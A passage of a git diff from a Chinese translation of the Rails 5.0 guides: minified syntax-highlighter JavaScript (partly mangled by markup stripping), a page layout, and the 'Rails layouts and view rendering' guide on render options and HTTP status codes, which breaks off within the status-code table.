"+t)})}),a&&(e.global?e.lastIndex=0:e.lastIndex=n),i},C.split=function(e,t){if(!w.isRegExp(e))return S.split.apply(this,arguments);var n,r=String(this),i=[],a=e.lastIndex,s=0;return t=(void 0===t?-1:t)>>>0,w.forEach(r,e,function(e){e.index+e[0].length>s&&(i.push(r.slice(s,e.index)),e.length>1&&e.indext?i.slice(0,t):i},w.addToken(/\\([ABCE-RTUVXYZaeg-mopqyz]|c(?![A-Za-z])|u(?![\dA-Fa-f]{4}|{[\dA-Fa-f]+})|x(?![\dA-Fa-f]{2}))/,function(e,t){if("B"===e[1]&&t===R)return e[0];throw new SyntaxError("Invalid escape "+e[0])},{scope:"all",leadChar:"\\"}),w.addToken(/\\u{([\dA-Fa-f]+)}/,function(e,t,n){var r=a(e[1]);if(r>1114111)throw new SyntaxError("Invalid Unicode code point "+e[0]);if(65535>=r)return"\\u"+g(l(r));if(I&&n.indexOf("u")>-1)return e[0];throw new SyntaxError("Cannot use Unicode code point above \\u{FFFF} without flag u")},{scope:"all",leadChar:"\\"}),w.addToken(/\[(\^?)]/,function(e){return e[1]?"[\\s\\S]":"\\b\\B"},{leadChar:"["}),w.addToken(/\(\?#[^)]*\)/,function(e,t,n){return f(e.input,e.index+e[0].length,n)?"":"(?:)"},{leadChar:"("}),w.addToken(/\s+|#.*/,function(e,t,n){return f(e.input,e.index+e[0].length,n)?"":"(?:)"},{flag:"x"}),w.addToken(/\./,function(){return"[\\s\\S]"},{flag:"s",leadChar:"."}),w.addToken(/\\k<([\w$]+)>/,function(e){var t=isNaN(e[1])?u(this.captureNames,e[1])+1:+e[1],n=e.index+e[0].length;if(!t||t>this.captureNames.length)throw new SyntaxError("Backreference to undefined group "+e[0]);return"\\"+t+(n===e.input.length||isNaN(e.input.charAt(n))?"":"(?:)")},{leadChar:"\\"}),w.addToken(/\\(\d+)/,function(e,t){if(!(t===R&&/^[1-9]/.test(e[1])&&+e[1]<=this.captureNames.length)&&"0"!==e[1])throw new SyntaxError("Cannot use octal escape or backreference to undefined group "+e[0]);return e[0]},{scope:"all",leadChar:"\\"}),w.addToken(/\(\?P?<([\w$]+)>/,function(e){if(!isNaN(e[1]))throw new SyntaxError("Cannot use integer as capture name "+e[0]);if("length"===e[1]||"__proto__"===e[1])throw new SyntaxError("Cannot use reserved word as capture name "+e[0]);if(u(this.captureNames,e[1])>-1)throw new SyntaxError("Cannot use same name for multiple groups "+e[0]);return this.captureNames.push(e[1]),this.hasNamedCapture=!0,"("},{leadChar:"("}),w.addToken(/\((?!\?)/,function(e,t,n){return n.indexOf("n")>-1?"(?:":(this.captureNames.push(null),"(")},{optionalFlags:"n",leadChar:"("}),e.exports=w},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(6);Object.keys(r).forEach(function(e){"default"!==e&&Object.defineProperty(t,e,{enumerable:!0,get:function(){return r[e]}})});var i=n(7);Object.keys(i).forEach(function(e){"default"!==e&&Object.defineProperty(t,e,{enumerable:!0,get:function(){return i[e]}})})},function(e,t){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(t,"__esModule",{value:!0});var r=function(){function e(e,t){for(var n=0;nr;r++)"object"===i(t[r])&&(n=n.concat((0,a.find)(e,t[r])));return n=(0,a.sort)(n),n=(0,a.removeNested)(n),n=(0,a.compact)(n)}Object.defineProperty(t,"__esModule",{value:!0});var i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol?"symbol":typeof e};t.applyRegexList=r;var a=n(8)},function(e,t,n){"use strict";function r(e,t){function n(e,t){return e[0]}for(var r=null,i=[],a=t.func?t.func:n,s=0;r=l.XRegExp.exec(e,t.regex,s);){var u=a(r,t);"string"==typeof u&&(u=[new o.Match(u,r.index,t.css)]),i=i.concat(u),s=r.index+r[0].length}return i}function i(e){function t(e,t){return e.indext.index?1:e.lengtht.length?1:0}return e.sort(t)}function a(e){var t,n,r=[];for(t=0,n=e.length;n>t;t++)e[t]&&r.push(e[t]);return r}function s(e){for(var t=0,n=e.length;n>t;t++)if(null!==e[t])for(var r=e[t],i=r.index+r.length,a=t+1,n=e.length;n>a&&null!==e[t];a++){var s=e[a];if(null!==s){if(s.index>i)break;s.index==r.index&&s.length>r.length?e[t]=null:s.index>=r.index&&s.indexr;r++)i[t[r]]=!0;return i}function a(e,t,n){var a=this;a.opts=n,a.code=e,a.matches=t,a.lines=r(e),a.linesToHighlight=i(n)}Object.defineProperty(t,"__esModule",{value:!0}),t["default"]=a,a.prototype={wrapLinesWithCode:function(e,t){if(null==e||0==e.length||"\n"==e||null==t)return e;var n,i,a,s,o,l=this,u=[];for(e=e.replace(/s;s++)a+=l.opts.space;return a+" "}),n=r(e),s=0,o=n.length;o>s;s++)i=n[s],a="",i.length>0&&(i=i.replace(/^( | )+/,function(e){return a=e,""}),i=0===i.length?a:a+''+i+""),u.push(i);return u.join("\n")},processUrls:function(e){var t=/(.*)((>|<).*)/,n=/\w+:\/\/[\w-.\/?%&=:@;#]*/g;return e.replace(n,function(e){var n="",r=null;return(r=t.exec(e))&&(e=r[1],n=r[2]),''+e+""+n})},figureOutLineNumbers:function(e){var t,n,r=[],i=this.lines,a=parseInt(this.opts.firstLine||1);for(t=0,n=i.length;n>t;t++)r.push(t+a);return r},wrapLine:function(e,t,n){var r=["line","number"+t,"index"+e,"alt"+(t%2==0?1:2).toString()];return this.linesToHighlight[t]&&r.push("highlighted"),0==t&&r.push("break"),'
'+n+"
"},renderLineNumbers:function(e,t){var r,i,a=this,s=a.opts,o="",l=a.lines.length,u=parseInt(s.firstLine||1),c=s.padLineNumbers;for(1==c?c=(u+l-1).toString().length:1==isNaN(c)&&(c=0),i=0;l>i;i++)r=t?t[i]:u+i,e=0==r?s.space:n(r,c),o+=a.wrapLine(i,r,e);return o},getCodeLinesHtml:function(e,t){for(var n=this,i=n.opts,a=r(e),s=(i.padLineNumbers,parseInt(i.firstLine||1)),o=i.brush,e="",l=0,u=a.length;u>l;l++){var c=a[l],f=/^( |\s)+/.exec(c),g=null,p=t?t[l]:s+l;null!=f&&(g=f[0].toString(),c=c.substr(g.length),g=g.replace(" ",i.space)),0==c.length&&(c=i.space),e+=n.wrapLine(l,p,(null!=g?''+g+"":"")+c)}return e},getTitleHtml:function(e){return e?"
":""},getMatchesHtml:function(e,t){function n(e){var t=e?e.brushName||c:c;return t?t+" ":""}var r,i,a,s,o=this,l=0,u="",c=o.opts.brush||"";for(a=0,s=t.length;s>a;a++)r=t[a],null!==r&&0!==r.length&&(i=n(r),u+=o.wrapLinesWithCode(e.substr(l,r.index-l),i+"plain")+o.wrapLinesWithCode(r.value,i+r.css),l=r.index+r.length+(r.offset||0));return u+=o.wrapLinesWithCode(e.substr(l),n()+"plain")},getHtml:function(){var e,t,n,r=this,i=r.opts,a=r.code,s=r.matches,o=["syntaxhighlighter"];return i.collapse===!0&&o.push("collapsed"),t=i.gutter!==!1,t||o.push("nogutter"),o.push(i.className),o.push(i.brush),t&&(e=r.figureOutLineNumbers(a)),n=r.getMatchesHtml(a,s),n=r.getCodeLinesHtml(n,e),i.autoLinks&&(n=r.processUrls(n)),n='\n
\n
"+e+"
\n '+r.getTitleHtml(i.title)+"\n \n \n "+(t?'":"")+'\n \n \n \n
'+r.renderLineNumbers(a)+"\n
'+n+"
\n
\n \n "}}},function(e,t){"use strict";function n(e){return e.split(/\r?\n/)}function r(e,t){for(var r=n(e),i=0,a=r.length;a>i;i++)r[i]=t(r[i],i);return r.join("\n")}function i(e){return(e||"")+Math.round(1e6*Math.random()).toString()}function a(e,t){var n,r={};for(n in e)r[n]=e[n];for(n in t)r[n]=t[n];return r}function s(e){return e.replace(/^\s+|\s+$/g,"")}function o(e){return Array.prototype.slice.apply(e)}function l(e){var t={"true":!0,"false":!1}[e];return null==t?e:t}e.exports={splitLines:n,eachLine:r,guid:i,merge:a,trim:s,toArray:o,toBoolean:l}},function(e,t,n){"use strict";var r=n(12),i=n(13),a=n(14),s=n(15),o=n(16);e.exports=function(e,t){e=r(e,t),e=i(e,t),e=a(e,t),e=s.unindent(e,t);var n=t["tab-size"];return e=t["smart-tabs"]===!0?o.smart(e,n):o.regular(e,n)}},function(e,t){"use strict";e.exports=function(e,t){return e.replace(/^[ ]*[\n]+|[\n]*[ ]*$/g,"").replace(/\r/g," ")}},function(e,t){"use strict";e.exports=function(e,t){var n=/|<br\s*\/?>/gi;return t.bloggerMode===!0&&(e=e.replace(n,"\n")),e}},function(e,t){"use strict";e.exports=function(e,t){var n=/|<br\s*\/?>/gi;return t.stripBrs===!0&&(e=e.replace(n,"")),e}},function(e,t){"use strict";function n(e){return/^\s*$/.test(e)}e.exports={unindent:function(e){var t,r,i,a,s=e.split(/\r?\n/),o=/^\s*/,l=1e3;for(i=0,a=s.length;a>i&&l>0;i++)if(t=s[i],!n(t)){if(r=o.exec(t),null==r)return e;l=Math.min(r[0].length,l)}if(l>0)for(i=0,a=s.length;a>i;i++)n(s[i])||(s[i]=s[i].substr(l));return s.join("\n")}}},function(e,t){"use strict";function n(e,t,n){return e.substr(0,t)+r.substr(0,n)+e.substr(t+1,e.length)}for(var r="",i=0;50>i;i++)r+=" ";e.exports={smart:function(e,t){var r,i,a,s,o=e.split(/\r?\n/),l=" ";for(a=0,s=o.length;s>a;a++)if(r=o[a],-1!==r.indexOf(l)){for(i=0;-1!==(i=r.indexOf(l));)r=n(r,i,t-i%t);o[a]=r}return o.join("\n")},regular:function(e,t){return e.replace(/\t/g,r.substr(0,t))}}},function(e,t){"use strict";function n(){for(var e=document.getElementsByTagName("script"),t=[],n=0;nl&&null==i;l++)i=o(a[l],t,n);return i}function l(e,t){return o(e,t,!0)}function u(e,t,n,r,i){var a=(screen.width-n)/2,s=(screen.height-r)/2;i+=", left="+a+", top="+s+", width="+n+", height="+r,i=i.replace(/^,/,"");var o=window.open(e,t,i);return o.focus(),o}function c(e){return document.getElementsByTagName(e)}function f(e){var t,n,r=c(e.tagName);if(e.useScriptTags)for(t=c("script"),n=0;ng;g++)f.push(c[g].innerText||c[g].textContent);f=f.join("\r"),f=f.replace(/\u00a0/g," "),u.readOnly=!0,u.appendChild(document.createTextNode(f)),r.appendChild(u),u.focus(),u.select(),s(u,"blur",function(e){u.parentNode.removeChild(u),a(n,"source")})}}e.exports={quickCodeHandler:p,create:g,popup:u,hasClass:r,addClass:i,removeClass:a,attachEvent:s,findElement:o,findParentElement:l,getSyntaxHighlighterScriptTags:n,findElementsToHighlight:f}},function(e,t){"use strict";e.exports={space:" ",useScriptTags:!0,bloggerMode:!1,stripBrs:!1,tagName:"pre"}},function(e,t){"use strict";e.exports={"class-name":"","first-line":1,"pad-line-numbers":!1,highlight:null,title:null,"smart-tabs":!0,"tab-size":4,gutter:!0,"quick-code":!0,collapse:!1,"auto-links":!0,unindent:!0,"html-script":!1}},function(e,t,n){(function(t){"use strict";function r(e,t){function n(e,t){for(var n=0,r=e.length;r>n;n++)e[n].index+=t}function r(e,r){function s(e){u=u.concat(e)}var o,l=e.code,u=[],c=a.regexList,f=e.index+e.left.length,g=a.htmlScript;o=i(l,c),n(o,f),s(o),null!=g.left&&null!=e.left&&(o=i(e.left,[g.left]),n(o,e.index),s(o)),null!=g.right&&null!=e.right&&(o=i(e.right,[g.right]),n(o,e.index+e[0].lastIndexOf(e.right)),s(o));for(var p=0,d=u.length;d>p;p++)u[p].brushName=t.brushName;return u}var a,s=new e;if(null!=t){if(a=new t,null==a.htmlScript)throw new Error("Brush wasn't configured for html-script option: "+t.brushName);s.regexList.push({regex:a.htmlScript.code,func:r}),this.regexList=s.regexList}}var i=n(5).applyRegexList;e.exports=r}).call(t,n(21))},function(e,t){"use strict";function n(){f&&u&&(f=!1,u.length?c=u.concat(c):g=-1,c.length&&r())}function r(){if(!f){var e=s(n);f=!0;for(var t=c.length;t;){for(u=c,c=[];++g1)for(var n=1;n"+e.left.source+")(?.*?)(?"+t.end+")","sgi")}}},{key:"getHtml",value:function(e){var t=arguments.length<=1||void 0===arguments[1]?{}:arguments[1],n=(0,u.applyRegexList)(e,this.regexList),r=new o["default"](e,n,t);return r.getHtml()}}]),e}()},function(e,t,n){"use strict";function r(){var e="break case catch class continue default delete do else enum export extends false for from as function if implements import in instanceof interface let new null package private protected static return super switch this throw true try typeof var while with yield";this.regexList=[{regex:a.multiLineDoubleQuotedString,css:"string"},{regex:a.multiLineSingleQuotedString,css:"string"},{regex:a.singleLineCComments,css:"comments"},{regex:a.multiLineCComments,css:"comments"},{regex:/\s*#.*/gm,css:"preprocessor"},{regex:new RegExp(this.getKeywords(e),"gm"),css:"keyword"}],this.forHtmlScript(a.scriptScriptTags)}var i=n(22),a=n(3).commonRegExp;r.prototype=new i,r.aliases=["js","jscript","javascript","json"],e.exports=r},function(e,t,n){"use strict";function r(){var e="alias and BEGIN begin break case class def define_method defined do each else elsif END end ensure false for if in module new next nil not or raise redo rescue retry return self super then throw true undef unless until when while yield",t="Array Bignum Binding Class Continuation Dir Exception FalseClass File::Stat File Fixnum Fload Hash Integer IO MatchData Method Module NilClass Numeric Object Proc Range Regexp String Struct::TMS Symbol ThreadGroup Thread Time TrueClass";this.regexList=[{regex:a.singleLinePerlComments,css:"comments"},{regex:a.doubleQuotedString,css:"string"},{regex:a.singleQuotedString,css:"string"},{regex:/\b[A-Z0-9_]+\b/g,css:"constants"},{regex:/:[a-z][A-Za-z0-9_]*/g,css:"color2"},{regex:/(\$|@@|@)\w+/g,css:"variable bold"},{regex:new RegExp(this.getKeywords(e),"gm"),css:"keyword"},{regex:new RegExp(this.getKeywords(t),"gm"),css:"color1"}],this.forHtmlScript(a.aspScriptTags)}var i=n(22),a=n(3).commonRegExp;r.prototype=new i,r.aliases=["ruby","rails","ror","rb"],e.exports=r},function(e,t,n){"use strict";function r(){function e(e,t){var n=e[0],r=s.exec(n,s("(<|<)[\\s\\/\\?!]*(?[:\\w-\\.]+)","xg")),i=[];if(null!=e.attributes)for(var a,l=0,u=s("(? [\\w:.-]+)\\s*=\\s*(? \".*?\"|'.*?'|\\w+)","xg");null!=(a=s.exec(n,u,l));)i.push(new o(a.name,e.index+a.index,"color1")),i.push(new o(a.value,e.index+a.index+a[0].indexOf(a.value),"string")),l=a.index+a[0].length;return null!=r&&i.push(new o(r.name,e.index+r[0].indexOf(r.name),"keyword")),i}this.regexList=[{regex:s("(\\<|<)\\!\\[[\\w\\s]*?\\[(.|\\s)*?\\]\\](\\>|>)","gm"),css:"color2"},{regex:a.xmlComments,css:"comments"},{regex:s("(<|<)[\\s\\/\\?!]*(\\w+)(?.*?)[\\s\\/\\?]*(>|>)","sg"),func:e}]}var i=n(22),a=n(3).commonRegExp,s=n(3).XRegExp,o=n(5).Match;r.prototype=new i,r.aliases=["xml","xhtml","xslt","html","plist"],e.exports=r},function(e,t,n){"use strict";function r(){var e="abs avg case cast coalesce convert count current_timestamp current_user day isnull left lower month nullif replace right session_user space substring sum system_user upper user year",t="absolute action add after alter as asc at authorization begin bigint binary bit by cascade char character check checkpoint close collate column commit committed connect connection constraint contains continue create cube current current_date current_time cursor database date deallocate dec decimal declare default delete desc distinct double drop dynamic else end end-exec escape except exec execute false fetch first float for force foreign forward free from full function global goto grant group grouping having hour ignore index inner insensitive insert instead int integer intersect into is isolation key last level load local max min minute modify move name national nchar next no numeric of off on only open option order out output partial password precision prepare primary prior privileges procedure public read real references relative repeatable restrict return returns revoke rollback rollup rows rule schema scroll second section select sequence serializable set size smallint static statistics table temp temporary then time timestamp to top transaction translation trigger true truncate uncommitted union unique update values varchar varying view when where with work",n="all and any between cross in join like not null or outer some"; + this.regexList=[{regex:/--(.*)$/gm,css:"comments"},{regex:/\/\*([^\*][\s\S]*?)?\*\//gm,css:"comments"},{regex:a.multiLineDoubleQuotedString,css:"string"},{regex:a.multiLineSingleQuotedString,css:"string"},{regex:new RegExp(this.getKeywords(e),"gmi"),css:"color2"},{regex:new RegExp(this.getKeywords(n),"gmi"),css:"color1"},{regex:new RegExp(this.getKeywords(t),"gmi"),css:"keyword"}]}var i=n(22),a=n(3).commonRegExp;r.prototype=new i,r.aliases=["sql"],e.exports=r},function(e,t,n){"use strict";function r(){this.regexList=[]}var i=n(22);n(3).commonRegExp;r.prototype=new i,r.aliases=["text","plain"],e.exports=r},function(e,t,n){"use strict";"function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol?"symbol":typeof e};!function(t,n){e.exports=n()}("domready",function(){var e,t=[],n=document,r=n.documentElement.doScroll,i="DOMContentLoaded",a=(r?/^loaded|^c/:/^loaded|^i|^c/).test(n.readyState);return a||n.addEventListener(i,e=function(){for(n.removeEventListener(i,e),a=1;e=t.shift();)e()}),function(e){a?setTimeout(e,0):t.push(e)}})},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=t.string=function(e){return e.replace(/^([A-Z])/g,function(e,t){return t.toLowerCase()}).replace(/([A-Z])/g,function(e,t){return"-"+t.toLowerCase()})};t.object=function(e){var t={};return Object.keys(e).forEach(function(r){return t[n(r)]=e[r]}),t}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}var i=n(1),a=r(i);window.SyntaxHighlighter=a["default"],"undefined"==typeof window.XRegExp&&(window.XRegExp=n(3).XRegExp)}]); diff --git a/v5.0/layout.html b/v5.0/layout.html new file mode 100644 index 0000000..a0c25b9 --- /dev/null +++ b/v5.0/layout.html @@ -0,0 +1,464 @@ + + + + + + + + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+ + + +
+
+ +
+
+
+ + + + + + + + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+ + + +
+
+ +
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/layouts_and_rendering.html b/v5.0/layouts_and_rendering.html new file mode 100644 index 0000000..e1325a4 --- /dev/null +++ b/v5.0/layouts_and_rendering.html @@ -0,0 +1,1590 @@ + + + + + + + +Rails 布局和视图渲染 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Rails 布局和视图渲染

本文介绍 Action Controller 和 Action View 的基本布局功能。

读完本文后,您将学到:

+
    +
  • 如何使用 Rails 内置的各种渲染方法;

  • +
  • 如果创建具有多个内容区域的布局;

  • +
  • 如何使用局部视图去除重复;

  • +
  • 如何使用嵌套布局(子模板)。

  • +
+ + + + +
+
+ +
+
+
+

1 概览:各组件之间如何协作

本文关注 MVC 架构中控制器和视图之间的交互。你可能已经知道,控制器在 Rails 中负责协调处理请求的整个过程,它经常把繁重的操作交给模型去做。返回响应时,控制器把一些操作交给视图——这正是本文的话题。

总的来说,这个过程涉及到响应中要发送什么内容,以及调用哪个方法创建响应。如果响应是个完整的视图,Rails 还要做些额外工作,把视图套入布局,有时还要渲染局部视图。后文会详细讲解整个过程。

2 创建响应

从控制器的角度来看,创建 HTTP 响应有三种方法:

+
    +
  • 调用 render 方法,向浏览器发送一个完整的响应;

  • +
  • 调用 redirect_to 方法,向浏览器发送一个 HTTP 重定向状态码;

  • +
  • 调用 head 方法,向浏览器发送只含 HTTP 首部的响应;

  • +
+

2.1 默认的渲染行为

你可能已经听说过 Rails 的开发原则之一是“多约定,少配置”。默认的渲染行为就是这一原则的完美体现。默认情况下,Rails 中的控制器渲染路由名对应的视图。假如 BooksController 类中有下述代码:

+
+class BooksController < ApplicationController
+end
+
+
+
+

在路由文件中有如下代码:

+
+resources :books
+
+
+
+

而且有个名为 app/views/books/index.html.erb 的视图文件:

+
+<h1>Books are coming soon!</h1>
+
+
+
+

那么,访问 /books 时,Rails 会自动渲染视图 app/views/books/index.html.erb,网页中会看到显示有“Books are coming soon!”。

然而,网页中显示这些文字没什么用,所以后续你可能会创建一个 Book 模型,然后在 BooksController 中添加 index 动作:

+
+class BooksController < ApplicationController
+  def index
+    @books = Book.all
+  end
+end
+
+
+
+

注意,基于“多约定,少配置”原则,在 index 动作末尾并没有指定要渲染视图,Rails 会自动在控制器的视图文件夹中寻找 action_name.html.erb 模板,然后渲染。这里,Rails 渲染的是 app/views/books/index.html.erb 文件。

如果要在视图中显示书籍的属性,可以使用 ERB 模板,如下所示:

+
+<h1>Listing Books</h1>
+
+
+
+<br>
+
+<%= link_to "New book", new_book_path %>
+
+
+
+

真正处理渲染过程的是 ActionView::TemplateHandlers 的子类。本文不做深入说明,但要知道,文件的扩展名决定了要使用哪个模板处理程序。从 Rails 2 开始,ERB 模板(含有嵌入式 Ruby 代码的 HTML)的标准扩展名是 .erb,Builder 模板(XML 生成器)的标准扩展名是 .builder

2.2 使用 render 方法

多数情况下,ActionController::Base#render 方法都能担起重则,负责渲染应用的内容,供浏览器使用。render 方法的行为有多种定制方式,可以渲染 Rails 模板的默认视图、指定的模板、文件、行间代码或者什么也不渲染。渲染的内容可以是文本、JSON 或 XML。而且还可以设置响应的内容类型和 HTTP 状态码。

如果不想使用浏览器而直接查看调用 render 方法得到的结果,可以调用 render_to_string 方法。它与 render 的用法完全一样,但是不会把响应发给浏览器,而是直接返回一个字符串。

2.2.1 渲染动作的视图

如果想渲染同个控制器中的其他模板,可以把视图的名字传给 render 方法:

+
+def update
+  @book = Book.find(params[:id])
+  if @book.update(book_params)
+    redirect_to(@book)
+  else
+    render "edit"
+  end
+end
+
+
+
+

如果调用 update 失败,update 动作会渲染同个控制器中的 edit.html.erb 模板。

如果不想用字符串,还可使用符号指定要渲染的动作:

+
+def update
+  @book = Book.find(params[:id])
+  if @book.update(book_params)
+    redirect_to(@book)
+  else
+    render :edit
+  end
+end
+
+
+
+
2.2.2 渲染其他控制器中某个动作的模板

如果想渲染其他控制器中的模板该怎么做呢?还是使用 render 方法,指定模板的完整路径(相对于 app/views)即可。例如,如果控制器 AdminProductsControllerapp/controllers/admin 文件夹中,可使用下面的方式渲染 app/views/products 文件夹中的模板:

+
+render "products/show"
+
+
+
+

因为参数中有条斜线,所以 Rails 知道这个视图属于另一个控制器。如果想让代码的意图更明显,可以使用 :template 选项(Rails 2.2 及之前的版本必须这么做):

+
+render template: "products/show"
+
+
+
+
2.2.3 渲染任意文件

render 方法还可渲染应用之外的视图:

+
+render file: "/u/apps/warehouse_app/current/app/views/products/show"
+
+
+
+

:file 选项的值是绝对文件系统路径。当然,你要对使用的文件拥有相应权限。

如果 :file 选项的值来自用户输入,可能导致安全问题,因为攻击者可以利用这一点访问文件系统中的机密文件。

+
+

默认情况下,使用当前布局渲染文件。

+
+

如果在 Microsoft Windows 中运行 Rails,必须使用 :file 选项指定文件的路径,因为 Windows 中的文件名和 Unix 格式不一样。

2.2.4 小结

上述三种渲染方式(渲染同一个控制器中的另一个模板,选择另一个控制器中的模板,以及渲染文件系统中的任意文件)的作用其实是一样的。

BooksController 控制器的 update 动作中,如果更新失败后想渲染 views/books 文件夹中的 edit.html.erb 模板,下面这些做法都能达到这个目的:

+
+render :edit
+render action: :edit
+render "edit"
+render "edit.html.erb"
+render action: "edit"
+render action: "edit.html.erb"
+render "books/edit"
+render "books/edit.html.erb"
+render template: "books/edit"
+render template: "books/edit.html.erb"
+render "/path/to/rails/app/views/books/edit"
+render "/path/to/rails/app/views/books/edit.html.erb"
+render file: "/path/to/rails/app/views/books/edit"
+render file: "/path/to/rails/app/views/books/edit.html.erb"
+
+
+
+

你可以根据自己的喜好决定使用哪种方式,总的原则是,使用符合代码意图的最简单方式。

2.2.5 使用 render 方法的 :inline 选项

如果通过 :inline 选项提供 ERB 代码,render 方法就不会渲染视图。下述写法完全有效:

+
+render inline: "<% products.each do |p| %><p><%= p.name %></p><% end %>"
+
+
+
+

但是很少使用这个选项。在控制器中混用 ERB 代码违反了 MVC 架构原则,也让应用的其他开发者难以理解应用的逻辑思路。请使用单独的 ERB 视图。

默认情况下,行间渲染使用 ERB。你可以使用 :type 选项指定使用 Builder:

+
+render inline: "xml.p {'Horrid coding practice!'}", type: :builder
+
+
+
+
2.2.6 渲染文本

调用 render 方法时指定 :plain 选项,可以把没有标记语言的纯文本发给浏览器:

+
+render plain: "OK"
+
+
+
+

渲染纯文本主要用于响应 Ajax 或无需使用 HTML 的网络服务。

默认情况下,使用 :plain 选项渲染纯文本时不会套用应用的布局。如果想使用布局,要指定 layout: true 选项。此时,使用扩展名为 .txt.erb 的布局文件。

2.2.7 渲染 HTML

调用 render 方法时指定 :html 选项,可以把 HTML 字符串发给浏览器:

+
+render html: "<strong>Not Found</strong>".html_safe
+
+
+
+

这种方式可用于渲染 HTML 片段。如果标记很复杂,就要考虑使用模板文件了。

使用 html: 选项时,如果没调用 html_safe 方法把 HTML 字符串标记为安全的,HTML 实体会转义。

2.2.8 渲染 JSON

JSON 是一种 JavaScript 数据格式,很多 Ajax 库都用这种格式。Rails 内建支持把对象转换成 JSON,经渲染后再发送给浏览器。

+
+render json: @product
+
+
+
+

在需要渲染的对象上无需调用 to_json 方法。如果有 :json 选项,render 方法会自动调用 to_json

2.2.9 渲染 XML

Rails 也内建支持把对象转换成 XML,经渲染后再发给调用方:

+
+render xml: @product
+
+
+
+

在需要渲染的对象上无需调用 to_xml 方法。如果有 :xml 选项,render 方法会自动调用 to_xml

2.2.10 渲染普通的 JavaScript

Rails 能渲染普通的 JavaScript:

+
+render js: "alert('Hello Rails');"
+
+
+
+

此时,发给浏览器的字符串,其 MIME 类型为 text/javascript

2.2.11 渲染原始的主体

调用 render 方法时使用 :body 选项,可以不设置内容类型,把原始的内容发送给浏览器:

+
+render body: "raw"
+
+
+
+

只有不在意内容类型时才应该使用这个选项。多数时候,使用 :plain:html 选项更合适。

如果没有修改,这种方式返回的内容类型是 text/html,因为这是 Action Dispatch 响应默认使用的内容类型。

2.2.12 render 方法的选项

render 方法一般可接受五个选项:

+
    +
  • :content_type

  • +
  • :layout

  • +
  • :location

  • +
  • :status

  • +
  • :formats

  • +
+
2.2.12.1 :content_type 选项

默认情况下,Rails 渲染得到的结果内容类型为 text/html(如果使用 :json 选项,内容类型为 application/json;如果使用 :xml 选项,内容类型为 application/xml)。如果需要修改内容类型,可使用 :content_type 选项:

+
+render file: filename, content_type: "application/rss"
+
+
+
+
2.2.12.2 :layout 选项

render 方法的大多数选项渲染得到的结果都会作为当前布局的一部分显示。后文会详细介绍布局。

:layout 选项告诉 Rails,在当前动作中使用指定的文件作为布局:

+
+render layout: "special_layout"
+
+
+
+

也可以告诉 Rails 根本不使用布局:

+
+render layout: false
+
+
+
+
2.2.12.3 :location 选项

:location 选项用于设置 HTTP Location 首部:

+
+render xml: photo, location: photo_url(http://github.com/photo)
+
+
+
+
2.2.12.4 :status 选项

Rails 会自动为生成的响应附加正确的 HTTP 状态码(大多数情况下是 200 OK)。使用 :status 选项可以修改状态码:

+
+render status: 500
+render status: :forbidden
+
+
+
+

Rails 能理解数字状态码和对应的符号,如下所示:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
响应类别HTTP 状态码符号
信息100:continue
101:switching_protocols
102:processing
成功200:ok
201:created
202:accepted
203:non_authoritative_information
204:no_content
205:reset_content
206:partial_content
207:multi_status
208:already_reported
226:im_used
重定向300:multiple_choices
301:moved_permanently
302:found
303:see_other
304:not_modified
305:use_proxy
307:temporary_redirect
308:permanent_redirect
客户端错误400:bad_request
401:unauthorized
402:payment_required
403:forbidden
404:not_found
405:method_not_allowed
406:not_acceptable
407:proxy_authentication_required
408:request_timeout
409:conflict
410:gone
411:length_required
412:precondition_failed
413:payload_too_large
414:uri_too_long
415:unsupported_media_type
416:range_not_satisfiable
417:expectation_failed
422:unprocessable_entity
423:locked
424:failed_dependency
426:upgrade_required
428:precondition_required
429:too_many_requests
431:request_header_fields_too_large
服务器错误500:internal_server_error
501:not_implemented
502:bad_gateway
